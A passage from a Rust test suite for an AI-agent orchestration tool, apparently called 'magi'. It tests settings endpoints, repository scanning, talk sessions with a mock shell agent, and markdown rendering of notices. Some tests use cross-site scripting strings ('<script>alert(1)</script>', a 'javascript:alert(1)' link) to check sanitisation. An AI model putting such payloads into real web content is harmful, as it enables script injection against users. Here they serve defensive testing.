13516            "default context outside roots must protect its declarations"
13517        );
13518        let body =
13519            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13520        let unknown = format!("?repo={}", tmp.path().display());
13521        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13522        assert_eq!(
13523            f.put(&format!("/api/settings/roles{unknown}"), &body)
13524                .await
13525                .status,
13526            422
13527        );
13528        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13529        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13530            .to_string();
13531        assert_eq!(
13532            f.put(&format!("/api/settings/roles{query}"), &refuse)
13533                .await
13534                .status,
13535            422
13536        );
13537        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13538        assert_eq!(saved.status, 200, "{}", saved.body);
13539        assert_eq!(saved.json()["repo"], v["repo"]);
13540        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13541        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13542        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13543            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13544        }
13545        let error = f
13546            .get(&format!("/api/settings?repo={}", broken.display()))
13547            .await;
13548        assert_eq!(error.status, 200);
13549        assert!(error.json()["error"]["message"].is_string());
13550        assert_eq!(error.json()["repositories"], default["repositories"]);
13551    }
13552
13553    #[tokio::test]
13554    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13555        let (_tmp, repo, machine) =
13556            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13557        let f = Fixture::with_repo_and_machine(repo, machine).await;
13558        let res = f.get("/api/settings").await;
13559        assert_eq!(res.status, 200, "{}", res.body);
13560        let v = res.json();
13561        assert!(v["error"].is_null(), "{v}");
13562        let role = |k: &str| {
13563            v["roles"]
13564                .as_array()
13565                .and_then(|r| r.iter().find(|x| x["key"] == k))
13566                .cloned()
13567                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13568        };
13569        assert_eq!(role("judges")["source"], "machine");
13570        assert_eq!(role("judges")["editable"], true);
13571        assert_eq!(role("implementers")["source"], "default");
13572        let adv = role("advisors");
13573        assert_eq!(adv["fallback"], "judges");
13574        assert!(
13575            adv["seats"]
13576                .as_array()
13577                .is_some_and(|s| s.iter().all(|x| x == "b")),
13578            "{adv}"
13579        );
13580        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13581        assert_eq!(v["agents"][0]["source"], "repo");
13582    }
13583
13584    #[tokio::test]
13585    async fn settings_get_reports_a_config_that_does_not_parse() {
13586        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13587        let f = Fixture::with_repo_and_machine(repo, machine).await;
13588        let res = f.get("/api/settings").await;
13589        assert_eq!(res.status, 200, "{}", res.body);
13590        let v = res.json();
13591        assert!(v["error"]["message"].is_string(), "{v}");
13592        assert!(
13593            v["error"]["path"]
13594                .as_str()
13595                .is_some_and(|p| p.ends_with("magi.toml")),
13596            "{v}"
13597        );
13598        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13599    }
13600
13601    #[tokio::test]
13602    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13603        let (_tmp, repo, machine) = settings_dirs(
13604            SETTINGS_AGENTS,
13605            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13606        );
13607        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13608        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13609        let rev = f.get("/api/settings").await.json()["revision"]
13610            .as_str()
13611            .expect("revision")
13612            .to_owned();
13613        let body = serde_json::json!({
13614            "revision": rev,
13615            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13616        })
13617        .to_string();
13618        let res = f.put("/api/settings/roles", &body).await;
13619        assert_eq!(res.status, 200, "{}", res.body);
13620        let text = std::fs::read_to_string(&machine).expect("machine");
13621        assert_eq!(
13622            text,
13623            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13624        );
13625        assert_eq!(
13626            std::fs::read(repo.join("magi.toml")).expect("read"),
13627            repo_before
13628        );
13629        let again = f.get("/api/settings").await.json();
13630        let judges = again["roles"]
13631            .as_array()
13632            .expect("roles")
13633            .iter()
13634            .find(|r| r["key"] == "judges")
13635            .expect("judges")
13636            .clone();
13637        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13638        // The old revision is now stale.
13639        let stale = f.put("/api/settings/roles", &body).await;
13640        assert_eq!(stale.status, 409, "{}", stale.body);
13641    }
13642
13643    #[tokio::test]
13644    async fn settings_counts_are_reported_and_saved() {
13645        let (_tmp, repo, machine) = settings_dirs(
13646            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13647            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13648        );
13649        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13650        let v = f.get("/api/settings").await.json();
13651        let count = |v: &serde_json::Value, k: &str| {
13652            v["roles"]
13653                .as_array()
13654                .and_then(|r| r.iter().find(|x| x["key"] == k))
13655                .map(|x| x["count"].clone())
13656                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13657        };
13658        let imp = count(&v, "implementers");
13659        assert_eq!(imp["value"], 2);
13660        assert_eq!(imp["source"], "machine");
13661        assert_eq!(imp["file_key"], "candidates");
13662        assert_eq!(imp["roster_len"], 2);
13663        assert_eq!(imp["backups"], 0);
13664        assert_eq!(count(&v, "judges")["source"], "default");
13665        assert_eq!(count(&v, "advisors")["min"], 0);
13666        assert_eq!(count(&v, "reviewers")["editable"], false);
13667        assert!(
13668            count(&v, "reviewers")["locked_reason"]
13669                .as_str()
13670                .is_some_and(|m| m.contains("graph.reviewers"))
13671        );
13672        assert!(count(&v, "fixer").is_null());
13673        let rev = v["revision"].as_str().expect("revision").to_owned();
13674        let body = serde_json::json!({
13675            "revision": rev,
13676            "roles": { "judges": ["b"] },
13677            "counts": { "implementers": 1, "advisors": 0 }
13678        })
13679        .to_string();
13680        let res = f.put("/api/settings/roles", &body).await;
13681        assert_eq!(res.status, 200, "{}", res.body);
13682        let text = std::fs::read_to_string(&machine).expect("machine");
13683        assert_eq!(
13684            text,
13685            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13686        );
13687        let after = f.get("/api/settings").await.json();
13688        assert_eq!(count(&after, "implementers")["value"], 1);
13689        assert_eq!(count(&after, "implementers")["backups"], 1);
13690        assert_eq!(count(&after, "advisors")["value"], 0);
13691        let before = std::fs::read_to_string(&machine).expect("machine");
13692        let rev = after["revision"].as_str().expect("revision").to_owned();
13693        for counts in [
13694            serde_json::json!({ "judges": 0 }),
13695            serde_json::json!({ "judges": "x" }),
13696            serde_json::json!({ "judges": 2.5 }),
13697            serde_json::json!({ "judges": -1 }),
13698            serde_json::json!({ "reviewers": 3 }),
13699            serde_json::json!({ "bogus": 3 }),
13700        ] {
13701            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13702            let res = f.put("/api/settings/roles", &body).await;
13703            assert_eq!(res.status, 422, "{counts}: {}", res.body);
13704            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13705        }
13706    }
13707
13708    #[tokio::test]
13709    async fn settings_put_refuses_without_touching_the_file() {
13710        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13711        let (_tmp, repo, machine) = settings_dirs(
13712            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13713            Some(machine_text),
13714        );
13715        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13716        let rev = f.get("/api/settings").await.json()["revision"]
13717            .as_str()
13718            .expect("revision")
13719            .to_owned();
13720        for roles in [
13721            serde_json::json!({ "judges": ["nope"] }),
13722            serde_json::json!({ "reviewers": ["b"] }),
13723            serde_json::json!({ "bogus": ["a"] }),
13724        ] {
13725            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13726            let res = f.put("/api/settings/roles", &body).await;
13727            assert_eq!(res.status, 422, "{roles}: {}", res.body);
13728            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13729            assert_eq!(
13730                std::fs::read_to_string(&machine).expect("machine"),
13731                machine_text
13732            );
13733        }
13734    }
13735
13736    #[tokio::test]
13737    async fn repos_list_returns_name_and_path_for_every_configured_root() {
13738        let tmp = TempDir::new().expect("tempdir");
13739        let repo = tmp.path().join("repo");
13740        std::fs::create_dir_all(&repo).expect("repo dir");
13741        let root = tmp.path().join("root");
13742        make_checkout(&root, "github.com", "yukimemi", "magi");
13743        std::fs::write(
13744            repo.join("magi.toml"),
13745            format!(
13746                "[repos]\nroots = [{:?}]\n",
13747                root.to_string_lossy().into_owned()
13748            ),
13749        )
13750        .expect("write magi.toml");
13751
13752        let f = Fixture::with_repo(repo).await;
13753        let res = f.get("/api/repos").await;
13754        assert_eq!(res.status, 200, "{}", res.body);
13755        let list = res.json();
13756        let repos = list.as_array().expect("an array");
13757        assert_eq!(repos.len(), 1);
13758        assert_eq!(repos[0]["name"], "yukimemi/magi");
13759        assert!(
13760            repos[0]["path"]
13761                .as_str()
13762                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13763            "{list}"
13764        );
13765    }
13766
13767    #[tokio::test]
13768    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13769        let tmp = TempDir::new().expect("tempdir");
13770        let repo = tmp.path().join("repo");
13771        std::fs::create_dir_all(&repo).expect("repo dir");
13772        let root = tmp.path().join("root");
13773        make_checkout(&root, "github.com", "yukimemi", "magi");
13774        std::fs::write(
13775            repo.join("magi.toml"),
13776            format!(
13777                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13778                root.to_string_lossy().into_owned()
13779            ),
13780        )
13781        .expect("write magi.toml");
13782
13783        let f = Fixture::with_repo(repo).await;
13784        let first = f.get("/api/repos").await;
13785        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13786
13787        // A second checkout appears; within the TTL the cached answer must
13788        // not notice it.
13789        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13790        let second = f.get("/api/repos").await;
13791        assert_eq!(
13792            second.json().as_array().map(Vec::len),
13793            Some(1),
13794            "a fresh cache must not rescan inside the TTL"
13795        );
13796
13797        let refreshed = f.get("/api/repos?refresh=1").await;
13798        assert_eq!(
13799            refreshed.json().as_array().map(Vec::len),
13800            Some(2),
13801            "an explicit refresh must rescan even inside the TTL"
13802        );
13803    }
13804
13805    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13806    /// string, declared straight in a repository's own `magi.toml` rather
13807    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13808    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13809    /// this is safe to run over a real HTTP round trip.
13810    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13811
13812    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13813    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13814    /// even though it takes no turn, and `talk_say` invokes one.
13815    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13816        let tmp = TempDir::new().expect("tempdir");
13817        let repo = tmp.path().join("repo");
13818        std::fs::create_dir_all(&repo).expect("repo dir");
13819        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13820        let f = Fixture::with_repo(repo.clone()).await;
13821        (tmp, repo, f)
13822    }
13823
13824    #[tokio::test]
13825    async fn posting_a_talk_with_remembered_choices_is_soft() {
13826        let (_tmp, _repo, f) = talk_fixture().await;
13827
13828        let good = f
13829            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13830            .await;
13831        assert_eq!(good.status, 201, "{}", good.body);
13832        assert_eq!(good.json()["persona"], "rei");
13833
13834        // Wrong values and wrong types are dropped one by one, never a 4xx.
13835        let stale = f
13836            .post(
13837                "/api/talks",
13838                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13839            )
13840            .await;
13841        assert_eq!(stale.status, 201, "{}", stale.body);
13842        let v = stale.json();
13843        assert_eq!(v["implementers"], 1);
13844        assert_ne!(v["persona"], "nobody");
13845        let typed = f
13846            .post(
13847                "/api/talks",
13848                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13849            )
13850            .await;
13851        assert_eq!(typed.status, 201, "{}", typed.body);
13852
13853        // The strict `agent` field still refuses an unknown id.
13854        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13855        assert!(
13856            !strict.status.to_string().starts_with('2'),
13857            "{}",
13858            strict.body
13859        );
13860    }
13861
13862    #[tokio::test]
13863    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13864        let (_tmp, _repo, f) = talk_fixture().await;
13865
13866        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13867        // is the ordinary way a phone opens a talk.
13868        let opened = f.post("/api/talks", None).await;
13869        assert_eq!(opened.status, 201, "{}", opened.body);
13870        let body = opened.json();
13871        assert_eq!(body["status"], "open");
13872        assert_eq!(
13873            body["turns"].as_array().unwrap().len(),
13874            0,
13875            "opening takes no agent turn: there is nothing yet to answer"
13876        );
13877
13878        // An explicit empty object is the same request as none at all.
13879        let also_opened = f.post("/api/talks", Some("{}")).await;
13880        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13881
13882        let listed = f.get("/api/talks").await.json();
13883        assert_eq!(listed.as_array().unwrap().len(), 2);
13884    }
13885
13886    #[tokio::test]
13887    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13888        let tmp = TempDir::new().expect("tempdir");
13889        let repo = tmp.path().join("repo");
13890        std::fs::create_dir_all(&repo).expect("repo dir");
13891        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13892        std::fs::write(
13893            repo.join("magi.toml"),
13894            format!("{MOCK_AGENT_TOML}\n{second}"),
13895        )
13896        .expect("write magi.toml");
13897        let home = TempDir::new().expect("temp home");
13898        let talks = Talks::at(home.path().join("talks"));
13899        let ui = Arc::new(
13900            Ui::new(
13901                Queue::at(home.path().join("queue")),
13902                Questions::at(home.path().join("questions")),
13903                talks.clone(),
13904                home.path().join("runs"),
13905                home.path().to_path_buf(),
13906                repo.clone(),
13907            )
13908            .with_worktrees_root(home.path().join("wt")),
13909        );
13910        let cfg = config_for(&repo).await.expect("discover config");
13911        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13912        let id = talk.id.clone();
13913        let call = |agent: &str| {
13914            talk_agent(
13915                State(Arc::clone(&ui)),
13916                Path(id.clone()),
13917                Json(TalkAgent {
13918                    agent: agent.to_owned(),
13919                }),
13920            )
13921        };
13922
13923        let unknown = call("nobody").await.expect_err("unknown agent");
13924        assert_eq!(
13925            unknown.status,
13926            StatusCode::BAD_REQUEST,
13927            "{}",
13928            unknown.message
13929        );
13930
13931        {
13932            // Nothing refused so far took a claim, so the guard is free to take
13933            // and holding it is what makes the talk busy.
13934            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13935            let busy = call("second").await.expect_err("busy talk");
13936            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13937            assert!(
13938                busy.message.contains("a talk turn is running"),
13939                "{}",
13940                busy.message
13941            );
13942            drop(guard);
13943        }
13944        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13945
13946        let Json(view) = call("second").await.expect("switch");
13947        assert_eq!(view.talk.agent, "second");
13948        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13949        let saved = talks.get(&id).expect("reload");
13950        assert_eq!(saved.agent, "second");
13951        assert_eq!(saved.turns.len(), 1);
13952        assert!(!view.thinking);
13953        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13954        for agent in ["mock", "second"] {
13955            let Json(view) = call(agent).await.expect("immediate consecutive change");
13956            assert_eq!(view.talk.agent, agent);
13957            assert!(!view.thinking);
13958            assert!(!ui.is_thinking(&id));
13959        }
13960
13961        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13962            .await
13963            .expect("detail");
13964        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13965        assert_eq!(roster, ["mock", "second"]);
13966
13967        let mut closed = talks.get(&id).expect("reload");
13968        talk::close(&mut closed, &talks).expect("close");
13969        let refused = call("mock").await.expect_err("closed talk");
13970        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13971        assert!(
13972            refused.message.contains("takes no more turns"),
13973            "{}",
13974            refused.message
13975        );
13976    }
13977
13978    #[tokio::test]
13979    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13980        let tmp = TempDir::new().expect("tempdir");
13981        let repo = tmp.path().join("repo");
13982        std::fs::create_dir_all(&repo).expect("repo dir");
13983        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13984        let home = TempDir::new().expect("temp home");
13985        let talks = Talks::at(home.path().join("talks"));
13986        let ui = Arc::new(
13987            Ui::new(
13988                Queue::at(home.path().join("queue")),
13989                Questions::at(home.path().join("questions")),
13990                talks.clone(),
13991                home.path().join("runs"),
13992                home.path().to_path_buf(),
13993                repo.clone(),
13994            )
13995            .with_worktrees_root(home.path().join("wt")),
13996        );
13997        let cfg = config_for(&repo).await.expect("discover config");
13998        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13999        let id = talk.id.clone();
14000        let call = |n: u8| {
14001            talk_implementers(
14002                State(Arc::clone(&ui)),
14003                Path(id.clone()),
14004                Json(TalkImplementers { implementers: n }),
14005            )
14006        };
14007
14008        for bad in [0u8, 4] {
14009            let e = call(bad).await.expect_err("out of range");
14010            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14011        }
14012        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14013
14014        {
14015            // Nothing refused so far took a claim, so the guard is free to take
14016            // and holding it is what makes the talk busy.
14017            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14018            let busy = call(2).await.expect_err("busy talk");
14019            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14020            assert!(
14021                busy.message.contains("a talk turn is running"),
14022                "{}",
14023                busy.message
14024            );
14025            drop(guard);
14026        }
14027
14028        let Json(view) = call(3).await.expect("switch");
14029        assert_eq!(view.talk.implementers, 3);
14030        assert!(talks.get(&id).expect("reload").implementers_dirty);
14031        assert!(!view.thinking);
14032        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14033        for n in [1, 2, 3] {
14034            let Json(view) = call(n).await.expect("immediate consecutive change");
14035            assert_eq!(view.talk.implementers, n);
14036            assert!(!view.thinking);
14037            assert!(!ui.is_thinking(&id));
14038        }
14039
14040        let mut closed = talks.get(&id).expect("reload");
14041        talk::close(&mut closed, &talks).expect("close");
14042        let e = call(2).await.expect_err("closed talk");
14043        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14044        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14045    }
14046
14047    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14048    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14049        let tmp = TempDir::new().expect("tempdir");
14050        let repo = tmp.path().join("repo");
14051        std::fs::create_dir_all(&repo).expect("repo dir");
14052        std::fs::write(
14053            repo.join("magi.toml"),
14054            format!("{MOCK_AGENT_TOML}\n{extra}"),
14055        )
14056        .expect("write magi.toml");
14057        let home = TempDir::new().expect("temp home");
14058        let talks = Talks::at(home.path().join("talks"));
14059        let ui = Arc::new(
14060            Ui::new(
14061                Queue::at(home.path().join("queue")),
14062                Questions::at(home.path().join("questions")),
14063                talks.clone(),
14064                home.path().join("runs"),
14065                home.path().to_path_buf(),
14066                repo.clone(),
14067            )
14068            .with_worktrees_root(home.path().join("wt")),
14069        );
14070        let cfg = config_for(&repo).await.expect("discover config");
14071        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14072        (tmp, home, ui, talk.id, repo)
14073    }
14074
14075    #[tokio::test]
14076    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14077        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14078        let mut conversation = ui.talks.get(&id).unwrap();
14079        talk::record(
14080            &mut conversation,
14081            &ui.talks,
14082            "# Update on a task you filed\noperator words",
14083            vec![],
14084        )
14085        .unwrap();
14086        // Simulate an old operator record; headings do not prove authorship.
14087        conversation.turns[0].sender = None;
14088        conversation.turns[0].messages.clear();
14089        ui.talks.put(&mut conversation).unwrap();
14090        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14091        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14092        talk::drain(&mut conversation, &ui.talks).unwrap();
14093        talk::record_reply(
14094            &mut conversation,
14095            &ui.talks,
14096            "about that report",
14097            vec![],
14098            Some(talk::ReplyTarget {
14099                turn: 1,
14100                message: 1,
14101            }),
14102        )
14103        .unwrap();
14104        conversation.turns[2].messages[0]
14105            .reply
14106            .as_mut()
14107            .unwrap()
14108            .sender = None;
14109        conversation.turns.push(talk::Turn {
14110            sender: Some(talk::Sender::Persona),
14111            who: talk::Who::Agent,
14112            body: "magi: actual persona words".into(),
14113            at: Timestamp::now(),
14114            attachments: vec![],
14115            usage: None,
14116            breaks: None,
14117            messages: vec![],
14118            posted_by: None,
14119        });
14120        ui.talks.put(&mut conversation).unwrap();
14121        let view = TalkView::with_config(
14122            ui.talks.get(&id).unwrap(),
14123            false,
14124            None,
14125            &ui.home,
14126            &ui.references,
14127        );
14128        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14129        assert_eq!(
14130            view.talk.turns[1].messages[0].sender,
14131            Some(talk::Sender::Operator)
14132        );
14133        assert_eq!(
14134            view.talk.turns[1].messages[1].sender,
14135            Some(talk::Sender::Magi)
14136        );
14137        assert_eq!(
14138            view.talk.turns[2].messages[0]
14139                .reply
14140                .as_ref()
14141                .unwrap()
14142                .sender,
14143            Some(talk::Sender::Magi)
14144        );
14145        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14146        assert_eq!(view.turn_messages_md[0].len(), 1);
14147        assert!(view.turn_messages_md[0][0].is_none());
14148        assert!(view.turn_messages_md[1][0].is_none());
14149        assert!(view.turn_messages_md[1][1].is_some());
14150    }
14151
14152    #[tokio::test]
14153    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14154        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14155        let mut conversation = ui.talks.get(&id).unwrap();
14156        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14157        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14158        talk::queue_notice(
14159            &mut conversation,
14160            &ui.talks,
14161            &body,
14162            "watch:123",
14163            &|_| false,
14164            None,
14165            display.clone(),
14166        )
14167        .unwrap();
14168        assert!(
14169            !talk::queue_notice(
14170                &mut conversation,
14171                &ui.talks,
14172                &body,
14173                "watch:123",
14174                &|_| false,
14175                None,
14176                display.clone()
14177            )
14178            .unwrap()
14179        );
14180        let saved = ui.talks.get(&id).unwrap();
14181        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14182        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14183        assert!(
14184            view.talk.turns[0].messages[0].display.is_none(),
14185            "operator copy stays literal"
14186        );
14187        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14188        assert!(view.turn_messages_md[0][0].is_none());
14189        let queued_md = view.pending_messages_md[0].clone();
14190        assert_eq!(
14191            queued_md,
14192            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14193        );
14194        talk::drain(&mut conversation, &ui.talks).unwrap();
14195        talk::record_reply(
14196            &mut conversation,
14197            &ui.talks,
14198            "Explain",
14199            vec![],
14200            Some(talk::ReplyTarget {
14201                turn: 1,
14202                message: 0,
14203            }),
14204        )
14205        .unwrap();
14206        let mut saved = ui.talks.get(&id).unwrap();
14207        assert_eq!(saved.turns[1].messages[0].body, body);
14208        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14209        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14210        assert!(!reply.excerpt.contains("automatic report"));
14211        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14212        saved.turns[1].messages[0].display = None; // old MAGI send
14213        ui.talks.put(&mut saved).unwrap();
14214        let view = TalkView::with_config(
14215            ui.talks.get(&id).unwrap(),
14216            false,
14217            None,
14218            &ui.home,
14219            &ui.references,
14220        );
14221        assert_eq!(view.turn_messages_md[1][0], queued_md);
14222        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14223        assert!(
14224            !view.talk.turns[2].messages[0]
14225                .reply
14226                .as_ref()
14227                .unwrap()
14228                .excerpt
14229                .contains("automatic report")
14230        );
14231        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14232    }
14233
14234    #[tokio::test]
14235    async fn consultation_display_hides_directives_in_queue_and_history() {
14236        for node in [
14237            "implement",
14238            crate::land::APPROVAL_NODE,
14239            crate::github_text::ASK_NODE,
14240        ] {
14241            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14242            let mut question = Question::new(
14243                "run-123".into(),
14244                node.into(),
14245                "seat-1".into(),
14246                "Which backend?".into(),
14247                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14248                vec!["SQLite".into(), "Redis".into()],
14249            );
14250            ui.questions.put(&mut question).unwrap();
14251            let body = crate::prompt::chat_consult(&question);
14252            let mut conversation = ui.talks.get(&id).unwrap();
14253            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14254            assert!(
14255                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14256            );
14257            conversation = ui.talks.get(&id).unwrap();
14258            assert_eq!(conversation.pending_messages[0].body, body);
14259            assert!(body.contains("magi answer"));
14260            let mut legacy_pending = conversation.clone();
14261            legacy_pending.pending_messages[0].display = None;
14262            let legacy_view =
14263                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14264            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14265            assert!(legacy_md.contains("Question consultation"));
14266            assert!(!legacy_md.contains("magi answer"));
14267            let view =
14268                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14269            assert!(
14270                view.turn_messages_md[0][0].is_none(),
14271                "operator copy stays literal"
14272            );
14273            let queued_md = view.pending_messages_md[0].clone().unwrap();
14274            let rendered = serde_json::to_string(&queued_md).unwrap();
14275            for visible in [
14276                "Which backend?",
14277                "Context",
14278                "storage",
14279                "SQLite",
14280                "Redis",
14281                "<script>literal</script>",
14282            ] {
14283                assert!(rendered.contains(visible), "missing {visible}");
14284            }
14285            for directive in [
14286                "What to do",
14287                "magi answer",
14288                "Never answer it yourself",
14289                "Do not edit the repository",
14290            ] {
14291                assert!(!rendered.contains(directive), "exposed {directive}");
14292            }
14293            assert_eq!(
14294                view.talk.pending_messages[0].display,
14295                Some(crate::prompt::chat_consult_display(&question))
14296            );
14297            talk::drain(&mut conversation, &ui.talks).unwrap();
14298            let view =
14299                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14300            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14301            assert_eq!(conversation.turns[1].messages[0].body, body);
14302
14303            // Historical consultations lack a snapshot: show a safe placeholder
14304            // rather than parsing instructions or reconstructing mutable facts.
14305            conversation.turns[1].messages[0].display = None;
14306            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14307            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14308            assert!(legacy.contains("Question consultation"));
14309            assert!(!legacy.contains("magi answer"));
14310            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14311        }
14312    }
14313
14314    #[test]
14315    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14316        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14317        let (body, mut display) =
14318            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14319        display.facts = facts.into();
14320        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14321        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14322        let json = serde_json::to_string(&nodes).unwrap();
14323        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14324            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14325        }
14326        assert!(json.contains("<script>alert(1)</script>"));
14327        assert!(!json.contains("javascript:"));
14328        assert!(!json.contains("Tell the operator"));
14329        assert!(!json.contains("untrusted"));
14330        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14331        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14332        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14333        assert_eq!(
14334            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14335            md::to_nodes("# Status", &md::ImageBase::None),
14336        );
14337    }
14338
14339    #[tokio::test]
14340    async fn notification_display_recovers_exact_legacy_completion_references() {
14341        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14342        let mut conversation = ui.talks.get(&id).unwrap();
